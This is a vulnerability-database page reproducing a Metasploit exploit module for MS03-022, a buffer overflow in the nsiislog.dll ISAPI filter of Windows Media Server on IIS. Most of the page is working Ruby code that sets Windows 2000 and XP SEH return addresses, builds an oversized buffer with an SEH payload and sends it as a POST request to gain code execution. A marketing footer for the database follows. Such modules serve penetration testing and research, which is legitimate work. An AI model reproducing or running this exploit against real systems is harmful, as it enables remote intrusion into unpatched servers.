Lucene search
K

MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow

🗓️ 25 Jul 2010 21:37:54Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflo

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::BruteTargets
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
      'Description'    => %q{
          This exploits a buffer overflow found in the nsiislog.dll
        ISAPI filter that comes with Windows Media Server. This
        module will also work against the 'patched' MS03-019
        version. This vulnerability was addressed by MS03-022.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0349'],
          [ 'OSVDB', '4535'],
          [ 'BID', '8035'],
          [ 'MSB', 'MS03-022'],
          [ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # SEH offsets by version (Windows 2000)
          # 4.1.0.3917 =  9992
          # 4.1.0.3920 =  9992
          # 4.1.0.3927 =  9992
          # 4.1.0.3931 = 14092

          ['Brute Force',            { }],
          ['Windows 2000 -MS03-019', { 'Rets' => [  9988, 0x40f01333 ] }],
          ['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
          ['Windows XP   -MS03-019', { 'Rets' => [  9992, 0x40f011e0 ] }],
        ],
      'DisclosureDate' => '2003-06-25',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URL', [ true,  "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
      ])
  end

  def check
    res = send_request_raw({
      'uri' => normalize_uri(datastore['URL'])
    }, -1)

    if (res and res.body =~ /NetShow ISAPI/)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit_target(target)

    # Create a buffer greater than max SEH offset (16384)
    pst = rand_text_alphanumeric(256) * 64

    # Create SEH frame and insert into buffer
    seh = generate_seh_payload(target['Rets'][1])
    pst[target['Rets'][0], seh.length] = seh

    # Send it to the server
    print_status("Sending request...")
    res = send_request_cgi({
      'uri'          => normalize_uri(datastore['URL']),
      'method'       => 'POST',
      'user-agent'   => 'NSPlayer/2.0',
      'content-type' => 'application/x-www-form-urlencoded',
      'data'         => pst
    }, 5)

    select(nil,nil,nil,1)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation